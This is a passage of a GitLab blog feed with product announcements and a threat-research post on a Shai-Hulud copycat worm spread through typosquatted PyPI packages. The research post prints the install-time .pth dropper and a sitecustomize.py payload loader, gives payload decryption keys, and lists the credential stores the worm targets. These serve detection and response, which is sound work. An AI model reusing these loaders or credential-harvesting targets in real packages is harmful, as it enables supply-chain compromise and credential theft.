        <content type="html"><![CDATA[<p>You can now run GitLab as a fully managed platform on Google Cloud, delivered by GitLab-certified managed service providers (MSPs) — with the latest Google AI models built in. Through MSP partners, including <a href="https://www.bynd.com/" rel="">Beyond</a> and <a href="https://digital-future.me/gitLab-managed-offering" rel="">Digital Future</a>, your team can move to a scalable, reliable DevSecOps architecture on GitLab and Google Cloud, keep full control over where your code, pipelines, and security data live, and put Google&#39;s newest Gemini and Gemma models to work inside the same governed platform.</p><p>This builds on <a href="https://about.gitlab.com/blog/gitlab-and-vertex-ai-on-google-cloud/" rel="">our April 2026 collaboration</a>, which lets you call Google models through GitLab Duo Agent Platform and count that usage toward your existing Google Cloud commitment. Today, you also get a fully managed way to run the platform itself — and a deeper, faster model roadmap.</p><h2 id="why-this-matters">Why this matters</h2><p>Running software development at scale puts two things in tension: you want access to the strongest, newest AI models, and you need control over your code, pipelines, and security data — ideally in the same platform, not bolted together from separate tools. Most teams end up trading one for the other: sovereignty without modern AI, or modern AI without governance. This collaboration is built to give you both. Here&#39;s what you can now do.</p><h3 id="run-gitlab-fully-managed-on-google-cloud">Run GitLab fully managed on Google Cloud</h3><p>You don&#39;t have to be your own integrator. GitLab-certified MSP partners, including Beyond and Digital Future, now deliver a fully managed GitLab offering on Google Cloud, built for organizations subject to country-specific sovereignty, data residency, and other regulated requirements.</p><ul><li><strong>Your data stays where you need it.</strong> You keep full control over where your code, pipelines, and security data reside, while running the full GitLab platform on Google Cloud infrastructure.</li><li><strong>No operational burden.</strong> Your MSP partner runs the platform to a high service-level agreement, so your team doesn&#39;t carry the work of managing the underlying infrastructure.</li><li><strong>Auditable by design.</strong> Your compliance teams keep visibility into every agent action, merge request, and security finding through GitLab&#39;s built-in audit and policy controls. Governance doesn&#39;t stop when an agent takes over a workflow.</li></ul><h3 id="match-the-model-to-the-task">Match the model to the task</h3><p>The latest Gemini models, including Gemini 3.5 Flash, are now available in GitLab Duo Agent Platform via Gemini Enterprise Agent Platform, and because GitLab is in Google&#39;s Gemini early-access program, new Gemini models keep landing in Duo as they ship, with no procurement work on your side. Different software tasks need different models, so the lineup gives you a clear choice:</p><table><thead><tr><th>Model</th><th>Use it for</th><th>Availability</th></tr></thead><tbody><tr><td><strong>Latest Gemini models (incl. Gemini 3.5 Flash)</strong></td><td>The full range — high-throughput, low-latency work like code completion and fast review suggestions, through deep reasoning for architectural decisions, multi-file refactors, and complex security analysis</td><td>Managed (GitLab.com + Self-Managed), available now</td></tr><tr><td><strong>Gemma 4</strong></td><td>Open weights you self-host and fully control</td><td>GitLab Duo Self-Hosted, available now</td></tr></tbody></table><br /><p>For self-hosted and regulated teams, Gemma 4 is now available for GitLab Duo Self-Hosted — an open-weight option beyond Gemini. It plugs into GitLab&#39;s self-hosted models architecture, so you run your own AI Gateway and keep every request and response inside your environment, on-premises or in a private cloud.</p><h3 id="leverage-your-existing-google-cloud-commitment">Leverage your existing Google Cloud commitment</h3><p>Buy GitLab and Duo Agent Platform through <a href="https://console.cloud.google.com/marketplace/browse?filter=partner:GitLab" rel="">Google Cloud Marketplace</a>, and you can draw down your existing Google Cloud commitment to fund it:</p><ul><li><strong>No new budget cycle.</strong> Scale agentic AI against a commitment you&#39;ve already made, instead of re-opening procurement every quarter.</li><li><strong>One bill, one view.</strong> Platform, inference, and infrastructure spend land in the same Google Cloud billing surface — nothing to reconcile across vendors.</li></ul><p>On top of that, you keep GitLab&#39;s own cost controls: usage dashboards, policy over which models run where, and the GitLab Credits model that gives your finance team predictable consumption. So you can answer the question your board is already asking — what did we spend on AI this quarter, and what did we get for it.</p><h2 id="one-governed-platform-less-fragmentation">One governed platform, less fragmentation</h2><p>Strong models bring better reasoning, faster tool calling, and long-context handling. GitLab Duo Agent Platform brings the software-delivery context a standalone coding assistant doesn&#39;t have — the merge request, the pipeline, the deployment target — which is what keeps a multi-step agent from stalling, and what makes monorepo-scale review workable at all. Put them together and your deployment, model choice, governance, and spend stay aligned inside the platform you already ship from, instead of fragmenting across separate assistants, security tools, and disconnected endpoints.</p><p>That&#39;s the whole point of doing this with Google Cloud: the right deployment option, the right models, and the right cost controls to run DevSecOps at scale, on infrastructure you control, with governance your compliance teams can audit.</p><blockquote><p>If you are not using GitLab Duo Agent Platform today, you can start with <a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">a free trial</a>.</p><p>If you are already using GitLab in the free tier, you can sign up for GitLab Duo Agent Platform by <a href="https://docs.gitlab.com/subscriptions/gitlab_credits/#for-the-free-tier-on-gitlabcom" rel="">following a few simple steps</a>.</p><p>And if you are an existing GitLab Premium or Ultimate subscriber, you can get started by <a href="https://docs.gitlab.com/user/duo_agent_platform/turn_on_off/" rel="">turning on Duo Agent Platform</a> and using the GitLab Credits <a href="https://docs.gitlab.com/subscriptions/gitlab_credits/#included-credits" rel="">that are included</a> with your subscription.</p></blockquote>]]></content>
        <author>
            <name>Regnard Raquedan</name>
            <uri>https://about.gitlab.com/blog/authors/regnard-raquedan/</uri>
        </author>
        <author>
            <name>Rajesh Agadi</name>
            <uri>https://about.gitlab.com/blog/authors/rajesh-agadi/</uri>
        </author>
        <published>2026-06-10T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Shai-Hulud copycat campaign targets Python developers through PyPI typosquatting]]></title>
        <id>https://about.gitlab.com/blog/shai-hulud-copycat-campaign-targets-python-developers/</id>
        <link href="https://about.gitlab.com/blog/shai-hulud-copycat-campaign-targets-python-developers/"/>
        <updated>2026-06-09T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab&#39;s Vulnerability Research team has identified a coordinated supply chain attack on PyPI deploying a copy of the <a href="https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/" rel="">Shai-Hulud</a> malware. We found five malicious packages: four typosquats impersonating Flask, Requests, and NumPy, and one weaponized legitimate project. The packages execute code at install time, with no import or function call required, and carry a self-propagating credential stealer that targets CI/CD environments across all major cloud providers.</p><p>We confirmed that GitLab was not using any of the affected packages and are sharing our findings to help the broader security community respond effectively.</p><h2 id="inside-the-attack">Inside the attack</h2><p>Our monitoring systems flagged five malicious PyPI packages from a single account (<code>elitexp</code>) on June 7, 2026. Four are typosquats:</p><ul><li><strong><code>rlask</code></strong> and <strong><code>tlask</code></strong>, typosquats of Flask</li><li><strong><code>rsquests</code></strong>, a typosquat of Requests</li><li><strong><code>nhmpy</code></strong>, a typosquat of NumPy</li></ul><p>The fifth, <strong><code>mflux-streamlit</code></strong>, is a legitimate project with real users that the attacker weaponized by publishing malicious versions 0.0.3 and 0.0.4 after the typosquat wave.</p><p>The attacker published clean &quot;probe&quot; versions first, with version numbers matching the real latest releases exactly (Flask 3.1.3, Requests 2.34.2, and NumPy 2.4.6). Once these were indexed without issue, the attacker pushed new versions with the worm payload baked in.</p><p>This is a copycat deployment. TeamPCP, the group behind Shai-Hulud, <a href="https://ramimac.me/teampcp/" rel="">open-sourced the worm&#39;s code</a> on May 12, 2026. We&#39;ve been tracking independent actors picking up the toolkit and aiming it at new targets since then. This campaign brings the same worm to the Python ecosystem.</p><h2 id="technical-analysis">Technical analysis</h2><h3 id="initial-infection-vector">Initial infection vector</h3><p>The original npm variant used a <code>preinstall</code> script. This campaign takes a different approach, exploiting Python&#39;s <code>.pth</code> file mechanism. Wheel packages can ship <code>.pth</code> files that Python processes automatically on startup, requiring no explicit import. Each malicious package includes a file like <code>rlask-setup.pth</code> containing a one-liner dropper:</p><pre className="language-py shiki shiki-themes github-light" code="import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),&quot;.bun_ran&quot;);
_O.path.exists(_G)or exec(&#39;import os as _o,subprocess as _s,urllib.request as _u...&#39;)
" language="py" meta="" style=""><code><span class="line" line="1"><span class="sD7c4">import</span><span class="sgsFI"> os </span><span class="sD7c4">as</span><span class="sgsFI"> _O,tempfile </span><span class="sD7c4">as</span><span class="sgsFI"> _T;_G=_O.path.join(_T.gettempdir(),</span><span class="sYBdl">&quot;.bun_ran&quot;</span><span class="sgsFI">);
</span></span><span class="line" line="2"><span class="sgsFI">_O.path.exists(_G)</span><span class="sD7c4">or</span><span class="sYu0t"> exec</span><span class="sgsFI">(</span><span class="sYBdl">&#39;import os as _o,subprocess as _s,urllib.request as _u...&#39;</span><span class="sgsFI">)
</span></span></code></pre><p>The dropper checks for a marker file (<code>.bun_ran</code> in the system temp directory) to avoid re-execution, then downloads the Bun JavaScript runtime from GitHub and uses it to execute a 5 MB obfuscated JavaScript payload bundled in the package.</p><p>Early versions of <code>rlask</code> also included a <code>sitecustomize.py</code> file as a backup execution path. Python auto-imports <code>sitecustomize</code> on startup, and this file searched <code>sys.path</code> for the hidden <code>_index.js</code> payload:</p><pre className="language-py shiki shiki-themes github-light" code="import subprocess, os, sys
for d in sys.path:
  js = os.path.join(d, &quot;_index.js&quot;)
  if os.path.exists(js):
    subprocess.run([&quot;node&quot;, js])
    break
" language="py" meta="" style=""><code><span class="line" line="1"><span class="sD7c4">import</span><span class="sgsFI"> subprocess, os, sys
</span></span><span class="line" line="2"><span class="sD7c4">for</span><span class="sgsFI"> d </span><span class="sD7c4">in</span><span class="sgsFI"> sys.path:
</span></span><span class="line" line="3"><span class="sgsFI">  js </span><span class="sD7c4">=</span><span class="sgsFI"> os.path.join(d, </span><span class="sYBdl">&quot;_index.js&quot;</span><span class="sgsFI">)
</span></span><span class="line" line="4"><span class="sD7c4">  if</span><span class="sgsFI"> os.path.exists(js):
</span></span><span class="line" line="5"><span class="sgsFI">    subprocess.run([</span><span class="sYBdl">&quot;node&quot;</span><span class="sgsFI">, js])
</span></span><span class="line" line="6"><span class="sD7c4">    break
</span></span></code></pre><p>The attacker dropped this backup mechanism in later versions, apparently finding the <code>.pth</code> approach sufficient on its own.</p><h3 id="payload-obfuscation">Payload obfuscation</h3><p>The JavaScript payload is wrapped in three layers:</p><ol><li>A <strong>ROT-N character cipher</strong> applied to an integer array (the rotation value varies per package: ROT-13 for <code>rlask@3.1.4</code>, ROT-17 for <code>rsquests</code>, ROT-25 for <code>tlask</code>)</li><li><strong>AES-128-GCM encryption</strong> with hardcoded keys, producing two encrypted blobs</li><li>Standard <strong>variable-name mangling</strong> (<code>_0x</code> prefix obfuscation) on the inner payload</li></ol><p>We decrypted the payload through static analysis without executing any code. The first blob (907 bytes) is the Bun runtime downloader. The second blob (772 KB) is the complete Shai-Hulud credential stealer, containing 2,538 hardcoded strings.</p><p>For researchers performing their own analysis, here are the AES decryption keys:</p><table><thead><tr><th align="left">Layer</th><th align="left">Key</th><th align="left">IV</th></tr></thead><tbody><tr><td align="left">Bun downloader</td><td align="left"><code>c95506221d18936328fbc7ddcd21e3dd</code></td><td align="left"><code>48da5faeafac0ac88a410bb0</code></td></tr><tr><td align="left">Worm payload</td><td align="left"><code>7557c4e782a0622159476d1ea10d5236</code></td><td align="left"><code>55a7d25e0e61b77cc175bcc3</code></td></tr></tbody></table><h3 id="credential-harvesting">Credential harvesting</h3><p>Once running, the worm goes after credentials across every major cloud and CI/CD platform:</p><ul><li><strong>GitHub Actions</strong>: <code>GITHUB_TOKEN</code>, personal access tokens, fine-grained tokens, OIDC tokens, organization and repository secrets, Actions artifacts, and runner process memory</li><li><strong>AWS</strong>: IAM access keys, secret keys, session tokens, IMDS instance credentials (<code>169[.]254[.]169[.]254</code>), Secrets Manager entries, SSM parameters, STS federation tokens</li><li><strong>Azure</strong>: Client secrets, managed identity tokens, Key Vault secrets, federated credentials, Microsoft Graph API tokens</li><li><strong>GCP</strong>: Service account keys, application default credentials, cloud-platform scope tokens</li><li><strong>HashiCorp Vault</strong>: Vault tokens from seven known filesystem paths (<code>/var/run/secrets/vault-token</code>, <code>/etc/vault/token</code>, <code>/root/.vault-token</code>, and others), plus API access and Kubernetes Vault auth</li><li><strong>npm / JFrog</strong>: npm tokens, JFrog/Artifactory API keys, OIDC token exchange</li><li><strong>PyPI</strong>: Publishing tokens, OIDC mint tokens</li><li><strong>RubyGems</strong>: API keys, gem publishing credentials</li><li><strong>SSH</strong>: Private keys for lateral movement</li><li><strong>Kubernetes</strong>: Service account tokens, kubeconfig files</li><li><strong>Sigstore</strong>: OIDC tokens and Fulcio signing certificates, which would allow the attacker to sign artifacts under a trusted identity</li><li><strong>Databases</strong>: MongoDB, MySQL, PostgreSQL, and Redis connection strings with embedded passwords</li></ul><h3 id="self-propagation">Self-propagation</h3><p>Like the original npm variant, this is not just a stealer. It propagates. Using stolen credentials, the worm:</p><ul><li>Commits <code>.github/setup.js</code> and workflow files to accessible GitHub repositories, causing the worm to re-execute in other CI pipelines</li><li>Injects <code>.github/copilot-instructions.md</code> to poison AI code assistants</li><li>Publishes additional poisoned packages to PyPI, npm, and RubyGems using stolen registry tokens</li><li>Attempts privilege escalation on self-hosted CI runners by injecting sudoers rules</li><li>Checks for <a href="https://github.com/step-security/harden-runner" rel="">StepSecurity&#39;s harden-runner</a> and adjusts behavior if detected</li></ul><h3 id="the-attacker">The attacker</h3><p>All five packages are owned by the PyPI account <code>elitexp</code>. The account was created in November 2024 with a legitimate package (<code>mflux-streamlit</code>, a Streamlit UI for image generation with 11 stars on GitHub). The associated GitHub account (<code>github[.]com/elitexp</code>) is 13+ years old with 43 public repositories, including university coursework and Laravel projects.</p><p>Upload metadata shows all packages were published using <code>Bun/1.3.14</code> as the user-agent, the same runtime the malware downloads as part of its execution chain.</p><p>The attacker also weaponized <code>mflux-streamlit</code> itself. Versions 0.0.1 and 0.0.2 are clean, but <strong>Versions 0.0.3 and 0.0.4</strong>, published at 15:23 and 15:37 UTC after the typosquat campaign, contain the same <code>.pth</code> dropper and obfuscated payload. This makes the attack more dangerous than a typical typosquat: <code>mflux-streamlit</code> is a real project with existing users who may receive the poisoned update through normal dependency resolution.</p><h2 id="indicators-of-compromise">Indicators of compromise</h2><table><thead><tr><th align="left">Type</th><th align="left">Indicator</th><th align="left">Description</th></tr></thead><tbody><tr><td align="left">package</td><td align="left"><code>rlask</code> 3.1.4-3.1.7</td><td align="left">Malicious Flask typosquat</td></tr><tr><td align="left">package</td><td align="left"><code>tlask</code> 3.1.4</td><td align="left">Malicious Flask typosquat</td></tr><tr><td align="left">package</td><td align="left"><code>rsquests</code> 2.34.3</td><td align="left">Malicious Requests typosquat</td></tr><tr><td align="left">package</td><td align="left"><code>nhmpy</code> 2.4.7</td><td align="left">Malicious NumPy typosquat</td></tr><tr><td align="left">package</td><td align="left"><code>mflux-streamlit</code> 0.0.3, 0.0.4</td><td align="left">Weaponized legitimate package</td></tr><tr><td align="left">file</td><td align="left"><code>{package}-setup.pth</code></td><td align="left">Auto-executing dropper (SHA256: <code>6506d317...</code>)</td></tr><tr><td align="left">file</td><td align="left"><code>sitecustomize.py</code></td><td align="left">Backup auto-execution (present in <code>rlask</code> only)</td></tr><tr><td align="left">file</td><td align="left"><code>{package}/_index.js</code></td><td align="left">Obfuscated worm payload (5.2MB)</td></tr><tr><td align="left">file</td><td align="left"><code>.bun_ran</code></td><td align="left">Execution marker in system temp directory</td></tr><tr><td align="left">network</td><td align="left"><code>hxxps[://]github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os}-{arch}.zip</code></td><td align="left">Bun runtime download</td></tr><tr><td align="left">network</td><td align="left"><code>hxxps[://]upload[.]pypi[.]org/legacy/</code></td><td align="left">Worm publishes poisoned PyPI packages</td></tr><tr><td align="left">network</td><td align="left"><code>hxxp[://]169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/</code></td><td align="left">AWS IMDS credential theft</td></tr><tr><td align="left">network</td><td align="left"><code>hxxps[://]login[.]microsoftonline[.]com/</code></td><td align="left">Azure AD token acquisition</td></tr><tr><td align="left">network</td><td align="left"><code>hxxps[://]fulcio[.]sigstore[.]dev</code></td><td align="left">Sigstore certificate request</td></tr><tr><td align="left">actor</td><td align="left"><code>elitexp</code> (PyPI)</td><td align="left">Package owner</td></tr><tr><td align="left">actor</td><td align="left"><code>Bun/1.3.14</code></td><td align="left">Upload user-agent</td></tr></tbody></table><h2 id="what-to-do-if-youre-affected">What to do if you&#39;re affected</h2><p>If any of these packages were installed in your environment:</p><ol><li>Remove the package immediately and check for the <code>.bun_ran</code> marker file in your system temp directory.</li><li>Rotate all credentials that were accessible to the environment where the package was installed. This includes CI/CD tokens, cloud provider credentials, SSH keys, and registry publishing tokens.</li><li>Audit your GitHub repositories for unexpected commits, especially files matching <code>.github/setup.js</code>, <code>.github/copilot-instructions.md</code>, or modified workflow files.</li><li>Check your package registry accounts (PyPI, npm, RubyGems) for packages you did not publish.</li><li>Review CI/CD pipeline logs for unexpected Bun downloads or JavaScript execution.</li></ol><h2 id="timeline">Timeline</h2><table><thead><tr><th align="left">Date</th><th align="left">Event</th></tr></thead><tbody><tr><td align="left">2026-05-12</td><td align="left">TeamPCP open-sources the Shai-Hulud worm</td></tr><tr><td align="left">2026-06-07 13:47 UTC</td><td align="left">Probe versions published (<code>rlask@3.1.3</code>, <code>rsquests@2.34.2</code>)</td></tr><tr><td align="left">2026-06-07 14:20 UTC</td><td align="left">First malicious version (<code>rlask@3.1.4</code>), detected within 28 seconds</td></tr><tr><td align="left">2026-06-07 14:24 UTC</td><td align="left">Automated analysis complete, flagged as malicious/critical</td></tr><tr><td align="left">2026-06-07 14:27-15:04 UTC</td><td align="left">Six more malicious versions published across all four package names</td></tr><tr><td align="left">2026-06-07 15:23-15:37 UTC</td><td align="left">Attacker weaponizes their own legitimate <code>mflux-streamlit</code> package (v0.0.3, v0.0.4)</td></tr><tr><td align="left">2026-06-07</td><td align="left">Investigation confirms full Shai-Hulud worm via static analysis</td></tr><tr><td align="left">2026-06-07 16:01 UTC</td><td align="left">All malicious packages reported to PyPI security team</td></tr><tr><td align="left">2026-06-08 03:15:06 UTC</td><td align="left">Added the Advisory to <a href="https://advisories.gitlab.com/" rel="">GitLab Advisory Database</a></td></tr><tr><td align="left">2026-06-08</td><td align="left">PyPI removed all releases of the malicious packages</td></tr></tbody></table><h2 id="how-gitlab-can-help-you-detect-these-packages">How GitLab can help you detect these packages</h2><p>If you are using GitLab Ultimate, you can use <a href="https://docs.gitlab.com/ee/user/application_security/dependency_scanning/" rel="">Dependency Scanning</a> to automatically surface exposure to these packages in your projects. We have filed advisories (GMS-2026-572 through GMS-2026-576) covering all five packages in the <a href="https://advisories.gitlab.com/" rel="">GitLab Advisory Database</a>. Once merged, any project with Dependency Scanning enabled will flag these packages in pipeline results and the Vulnerability Report.</p><p>For teams managing many repositories, <a href="https://docs.gitlab.com/ee/user/gitlab_duo_chat/" rel="">GitLab Duo Chat</a> with the Security Analyst Agent can help triage quickly. Ask questions like:</p><ul><li>&quot;Are any of my dependencies affected by the Shai-Hulud PyPI campaign?&quot;</li><li>&quot;Does this project have any malicious Python dependencies?&quot;</li></ul><h2 id="looking-ahead">Looking ahead</h2><p>We expected this campaign after TeamPCP open-sourced the Shai-Hulud worm in May. Independent actors are picking up the toolkit and deploying it against new ecosystems. The Python variant uses a different initial infection vector (<code>.pth</code> files instead of <code>preinstall</code> scripts) but carries the same credential harvesting and self-propagation code underneath.</p><p>Our monitoring systems continue to track copycat deployments across npm, PyPI, and other registries. We will update this post as more information becomes available.</p><blockquote><p>Find more articles from the Vulnerability Research team on our <a href="https://about.gitlab.com/blog/categories/security-labs/" rel="">Security Labs site</a>.</p></blockquote><style>html pre.shiki code .sD7c4, html code.shiki .sD7c4{--shiki-default:#D73A49}html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}</style>]]></content>
        <author>
            <name>Dinesh Bolkensteyn</name>
            <uri>https://about.gitlab.com/blog/authors/dinesh-bolkensteyn/</uri>
        </author>
        <author>
            <name>Daniel Abeles</name>
            <uri>https://about.gitlab.com/blog/authors/daniel-abeles/</uri>
        </author>
        <published>2026-06-09T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Mythos-class Claude Fable 5 arrives on GitLab Duo Agent Platform]]></title>
        <id>https://about.gitlab.com/blog/mythos-class-claude-fable-5-on-gitlab/</id>
        <link href="https://about.gitlab.com/blog/mythos-class-claude-fable-5-on-gitlab/"/>
        <updated>2026-06-09T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p><em><strong>Important note: As of June 12, 2026, Claude Fable 5 is unavailable on GitLab Duo Agent Platform. Anthropic has suspended access to this model for all customers to comply with a U.S. government directive. All other Claude models remain available for use. See <a href="https://www.anthropic.com/news/fable-mythos-access" rel="">Anthropic&#39;s statement</a> for details.</strong></em></p><p>Claude Fable 5, a Mythos-class model with robust safeguards from Anthropic, is now available on GitLab Duo Agent Platform. For developers, platform engineers, and engineering leaders, this is not an incremental model update. Claude Fable 5 completes multi-step, goal-directed work that previous models could not sustain, and it does so with measurably fewer iterations. Duo Agent Platform features, including Duo Agentic Chat and Duo foundational agents, benefit from Claude Fable 5&#39;s expanded capabilities. Claude Fable 5 is available across all tiers and all deployment models through GitLab&#39;s AI Gateway.</p><h2 id="get-accurate-results-on-the-first-attempt">Get accurate results on the first attempt</h2><p>Claude Fable 5 brings a measurable improvement in first-shot correctness on complex, well-specified problems. Early testers reported single-pass implementations of systems that previously took days of iteration with prior models.</p><p>In GitLab Duo Agentic Chat, this translates to fewer rounds of back-and-forth. When you describe what you need with specificity, the response is more likely to match your intent and produce working results. This matters most on the tasks where iteration cost is highest: multi-file refactors, incident investigation, and infrastructure-as-code definitions.</p><p>Claude Fable 5 also interprets dense technical images, web applications, and detailed screenshots with significantly higher accuracy than prior models, often using fewer output tokens.</p><h2 id="run-longer-more-reliable-ai-agent-workflows">Run longer, more reliable AI agent workflows</h2><p>The most significant shift in Claude Fable 5 is long-horizon autonomy. The model sustains productive output over extended periods, successfully completing multi-day, goal-directed runs while maintaining instruction adherence across millions of tokens.</p><p>For teams using GitLab Duo agents on the platform, the agent workflows that previously required manual checkpoints or re-prompting can now run to completion. Claude Fable 5 self-corrects through verification loops, catches its own mistakes, and stays on-task across complex multi-step operations. It dispatches and sustains parallel sub-agents far more reliably than previous models, so workflows that fan out across multiple repositories or services hold together.</p><p>Engineering leaders evaluating AI adoption should note the operational implication: Claude Fable 5 reduces the human oversight cost per agent run. Teams can assign harder problems to agents, check results asynchronously, and trust that the output reflects genuine progress rather than fabricated status reports.</p><h2 id="find-more-bugs-and-resolve-incidents-faster">Find more bugs and resolve incidents faster</h2><p>Bug-finding recall is noticeably higher than previous models. Outage triage, root cause analysis, and repository history investigation all show improvement.</p><p>When reviewing merge requests through GitLab Duo Agent Platform, Claude Fable 5 catches issues that prior models missed. It reasons through code paths with greater depth, identifies edge cases more consistently, and produces code review comments that are actionable rather than generic. For platform engineers managing CI/CD workflows, this means fewer defects reaching production and faster mean time to resolution when something breaks.</p><h2 id="start-with-your-hardest-unsolved-problem">Start with your hardest unsolved problem</h2><p>If you test Claude Fable 5 only on routine tasks, you will miss its most significant capabilities. Anthropic&#39;s own testing found that the teams seeing the best outcomes point Claude Fable 5 at problems they assumed previous AI models could not handle, then let it scope, ask clarifying questions, and execute.</p><p>On GitLab Duo Agent Platform, try assigning a complex, multi-file refactor to a GitLab Duo agent. Use Duo Agentic Chat to investigate a production incident across your repository history, or to tackle an implementation you would normally write by hand because you weren’t confident AI would get it right.</p><p><a href="https://docs.gitlab.com/user/duo_agent_platform/model_selection/" rel="">Claude Fable 5 is available on GitLab Duo Agent Platform</a> starting June 9, 2026.</p><h3 id="try-gitlab-duo-agent-platform-today">Try GitLab Duo Agent Platform today</h3><p>You can experience the benefits of Claude Fable 5 by <a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">starting a free trial of GitLab Duo Agent Platform</a>.</p><p>If you are already using GitLab in the free tier, you can sign up for GitLab Duo Agent Platform by <a href="https://docs.gitlab.com/subscriptions/gitlab_credits/#for-the-free-tier-on-gitlabcom" rel="">following a few simple steps</a>.</p><p>And if you are an existing subscriber to GitLab Premium or Ultimate, you can take advantage by simply <a href="https://docs.gitlab.com/user/duo_agent_platform/turn_on_off/" rel="">turning on Duo Agent Platform</a> and start using GitLab Credits <a href="https://docs.gitlab.com/subscriptions/gitlab_credits/#included-credits" rel="">that are included</a> with your subscription.</p>]]></content>
        <author>
            <name>Talia Armato-Helle</name>
            <uri>https://about.gitlab.com/blog/authors/talia-armato-helle/</uri>
        </author>
        <published>2026-06-09T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab Patch Release: 19.0.1, 18.11.4, 18.10.7]]></title>
        <id>https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-0-1-released/</id>
        <link href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-0-1-released/"/>
        <updated>2026-05-28T00:00:00.000Z</updated>
        <published>2026-05-28T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Claude Opus 4.8 on GitLab: Complex agentic work, less disruption]]></title>
        <id>https://about.gitlab.com/blog/claude-opus-4-8-on-gitlab/</id>
        <link href="https://about.gitlab.com/blog/claude-opus-4-8-on-gitlab/"/>
        <updated>2026-05-28T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Anthropic&#39;s latest model on GitLab is built for precise execution across complex multi-step agent work.</p><p>Agents fail most often on complex, multi-step work: tasks that span multiple tools and go from intent to production without losing track of the project goal. Claude Opus 4.8, Anthropic&#39;s latest model for coding and agentic tasks, is built for that work, and now available in <a href="https://docs.gitlab.com/user/duo_agent_platform/" rel="">GitLab Duo Agent Platform</a> via model selection in <a href="https://docs.gitlab.com/user/duo_agent_platform/context/#gitlab-duo-agentic-chat" rel="">Agentic Chat</a> and across agent workflows in your GitLab instance.</p><p>Opus 4.8 delivers more precise execution across complex agentic sequences where agents run autonomously over extended time periods. With more comprehensive reasoning and planning, teams can expect cleaner end-state results with fewer interventions to redirect agents along the way.</p><h2 id="improved-long-horizon-agentic-execution">Improved long-horizon agentic execution</h2><p>For teams with established agent workflows, Opus 4.8 interprets instructions more precisely than prior models. Agents handling extended sequences complete each step as specified, which means more efficient and accurate outcomes with less time reviewing and correcting agent output.</p><p>Opus 4.8 is also stronger on professional work beyond coding: document drafting, data analysis, and structured knowledge tasks. For teams using GitLab Duo agents across planning and documentation workflows, as well as coding, Opus 4.8 handles those tasks more reliably, too.</p><h2 id="support-for-mid-conversation-system-prompts">Support for mid-conversation system prompts</h2><p>Opus 4.8 adds support for mid-conversation system prompts: System instructions can be updated partway through a session without invalidating the prompt cache. Teams building on the API can use this when async context arrives mid-session: when files change on disk, when token budget shifts, or when user context updates, without restarting the cache.</p><h2 id="get-started-today">Get started today</h2><p>Claude Opus 4.8 is available now in GitLab Duo Agent Platform. Like other models, Opus 4.8 runs on GitLab Credits. For a full list of models and their credit consumption, please visit our <a href="https://docs.gitlab.com/subscriptions/gitlab_credits/#models" rel="">documentation</a>.</p><p><a href="https://about.gitlab.com/solutions/duo-agent-platform/" rel="">Start a free trial of GitLab Duo Agent Platform</a> today, or sign up from the GitLab Free tier by following <a href="https://docs.gitlab.com/user/get_started/getting_started_duo_agent_platform/" rel="">a few simple steps</a>. Existing GitLab Premium or Ultimate subscribers can use the GitLab Credits included with their subscription.</p>]]></content>
        <author>
            <name>Talia Armato-Helle</name>
            <uri>https://about.gitlab.com/blog/authors/talia-armato-helle/</uri>
        </author>
        <published>2026-05-28T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Agentic coding is only as good as its context]]></title>
        <id>https://about.gitlab.com/blog/agentic-coding-only-as-good-as-context/</id>
        <link href="https://about.gitlab.com/blog/agentic-coding-only-as-good-as-context/"/>
        <updated>2026-05-28T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Every week, another coding agent demo shows a prompt turning into a merge request in under five minutes. These demos often highlight a narrow use case not yet in production, and they skip everything that happens <em>after</em> the commit.</p><p>The merge request doesn&#39;t include a link to the issue it was supposed to fix. The CI/CD pipeline fails because the agent didn&#39;t know about a recently added linter rule. A security scan flags a dependency the agent pulled in without checking the project&#39;s approved list.</p><p>These are context failures, and they determine whether agentic coding accelerates delivery or creates rework. But when development teams use coding agents with GitLab, the agents draw on the issues, pipelines, and security policies already in the platform, catching problems and remediating them within the developer flow.</p><p>This article walks through what changes when you give a coding agent progressively more lifecycle context from repository-only to full platform visibility, using two recent GitLab tutorials as a reference. You&#39;ll learn how platform context improves code quality, security assessments, and review cycles, and what platform teams can do today to close the gap.</p><h2 id="putting-context-into-practice">Putting context into practice</h2><p>The GitLab tutorials demonstrate what happens when you give an external coding agent progressively more full platform context. The first tutorial illustrates <a href="https://about.gitlab.com/blog/claude-code-and-gitlab/" rel="">three workflows with Claude Code</a>: fixing a C++ sensor crash, enriching the session with <a href="https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/mcp_server/" rel="">GitLab&#39;s Model Context Protocol (MCP) server</a>, and using Claude Code as an external agent inside a merge request to address review feedback. The second tutorial follows the same progression with <a href="https://about.gitlab.com/blog/fix-bugs-with-codex-and-gitlab/" rel="">Codex and GitLab</a>, this time fixing a Rust WebSocket filtering bug across the same three scenarios.</p><p><strong>Scenario 1: The agent only sees the repository</strong><br />
